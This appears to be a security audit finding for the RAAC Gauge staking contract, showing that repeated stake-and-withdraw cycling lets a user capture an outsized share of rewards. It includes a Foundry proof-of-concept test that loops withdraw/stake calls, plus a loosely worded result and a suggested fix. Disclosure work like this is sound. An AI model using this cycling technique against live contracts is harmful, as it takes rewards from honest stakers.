The RAAC Gauge system implements a reward distribution mechanism where users can stake tokens and earn rewards based on their stake amount and veToken balance (includes a boost multiplier feature that affects reward calculations). Users staking and withdrawing repeatedly a large amount of tokens can game the system and maximize the rewards.
The system lacks of implementation of time-weighted average balances and of a minimum staking period or withdrawal penalties. So it is subsceptible to short-term staking manipulation. Users staking and withdrawing repeatedly a large amount of tokens can game the system and maximize the rewards.
pragma solidity ^0.8.0;
import {Test, console2} from "forge-std/Test.sol";
import {RAACGauge} from "../contracts/core/governance/gauges/RAACGauge.sol";
import {GaugeController} from "../contracts/core/governance/gauges/GaugeController.sol";
import {IGaugeController} from "../contracts/interfaces/core/governance/gauges/IGaugeController.sol";
import {IGauge} from "../contracts/interfaces/core/governance/gauges/IGauge.sol";
import {MockToken} from "../contracts/mocks/core/tokens/MockToken.sol";
contract RaacGaugeTest is Test {
MockToken public rewardToken;
MockToken public veRAACToken;
GaugeController public gaugeController;
RAACGauge public raacGauge;
bytes32 public constant CONTROLLER_ROLE = keccak256("CONTROLLER_ROLE");
bytes32 public constant EMERGENCY_ADMIN = keccak256("EMERGENCY_ADMIN");
bytes32 public constant FEE_ADMIN = keccak256("FEE_ADMIN");
address owner = makeAddr("owner");
address alice = makeAddr("alice");
address bob = makeAddr("bob");
uint256 public WEEK = 7 * 24 * 3600;
uint256 public WEIGHT_PRECISION = 10000;
function setUp() public {
rewardToken = new MockToken("Reward Token", "RWD", 18);
veRAACToken = new MockToken("veRAAC Token", "veRAAC", 18);
veRAACToken.mint(alice, 200 ether);
veRAACToken.mint(bob, 1000 ether);
rewardToken.mint(alice, 1000 ether);
rewardToken.mint(bob, 1000 ether);
gaugeController = new GaugeController(address(veRAACToken));
vm.warp(block.timestamp + 3 weeks);
raacGauge = new RAACGauge(address(rewardToken), address(veRAACToken), address(gaugeController));
raacGauge.grantRole(raacGauge.CONTROLLER_ROLE(), owner);
vm.startPrank(alice);
rewardToken.approve(address(raacGauge), type(uint256).max);
veRAACToken.approve(address(raacGauge), type(uint256).max);
vm.stopPrank();
vm.startPrank(bob);
rewardToken.approve(address(raacGauge), type(uint256).max);
veRAACToken.approve(address(raacGauge), type(uint256).max);
vm.stopPrank();
gaugeController.grantRole(gaugeController.GAUGE_ADMIN(), owner);
gaugeController.addGauge(address(raacGauge), IGaugeController.GaugeType.RAAC, WEIGHT_PRECISION);
vm.warp(block.timestamp + 1 weeks);
vm.prank(alice);
gaugeController.vote(address(raacGauge), WEIGHT_PRECISION);
vm.prank(owner);
raacGauge.setWeeklyEmission(10000 ether);
rewardToken.mint(address(raacGauge), 100000 ether);
vm.prank(owner);
raacGauge.setBoostParameters(25000, 10000, WEEK);
vm.prank(address(gaugeController));
raacGauge.setInitialWeight(5000);
vm.warp(block.timestamp + 1);
console2.log("\nContracts:");
console2.log("rewardToken: ", address(rewardToken));
console2.log("veRAACToken: ", address(veRAACToken));
console2.log("raacGauge: ", address(raacGauge));
console2.log("");
}
function test_stakeWithdrawGaming() public {
veRAACToken.mint(alice, 800 ether);
uint256 nextPeriod = ((block.timestamp / WEEK) + 1) * WEEK;
vm.warp(nextPeriod);
vm.prank(alice);
raacGauge.stake(900 ether);
vm.prank(bob);
raacGauge.stake(900 ether);
uint256 aliceBalanceAfter = veRAACToken.balanceOf(alice);
uint256 bobBalanceAfter = veRAACToken.balanceOf(bob);
assertEq(aliceBalanceAfter, 100 ether);
assertEq(bobBalanceAfter, 100 ether);
vm.prank(address(gaugeController));
raacGauge.notifyRewardAmount(1000 ether);
vm.prank(alice);
raacGauge.voteEmissionDirection(5000);
vm.warp(block.timestamp + 1 weeks / 2);
uint256 aliceInitialEarned = raacGauge.earned(alice);
uint256 bobInitialEarned = raacGauge.earned(bob);
console2.log("Alice earned (initial):", aliceInitialEarned);
console2.log("Bob earned (initial):", bobInitialEarned);
for (uint256 i = 0; i < 10; i++) {
vm.prank(bob);
raacGauge.withdraw(900 ether);
vm.warp(block.timestamp + 1 hours);
vm.prank(bob);
raacGauge.stake(900 ether);
vm.warp(block.timestamp + 1 hours);
}
vm.warp(block.timestamp + 1 days);
uint256 aliceEarned = raacGauge.earned(alice) - aliceInitialEarned;
uint256 bobEarned = raacGauge.earned(bob) - bobInitialEarned;
console2.log("\nResults after gaming attempts:");
console2.log("Alice earned (stable holder):", aliceEarned);
console2.log("Bob earned (stake/withdraw cycling):", bobEarned);
console2.log("Bob/Alice earnings ratio:", (aliceEarned * 100) / bobEarned, "%");
console2.log("----------------");
}
}
The test shows that bob staking and withdrawing repeatedly earns 81% of rewards more than Alice.
Manual review.
Implement a mechanism to prevent the gaming condition like minimum staking period or withdrawal penalties.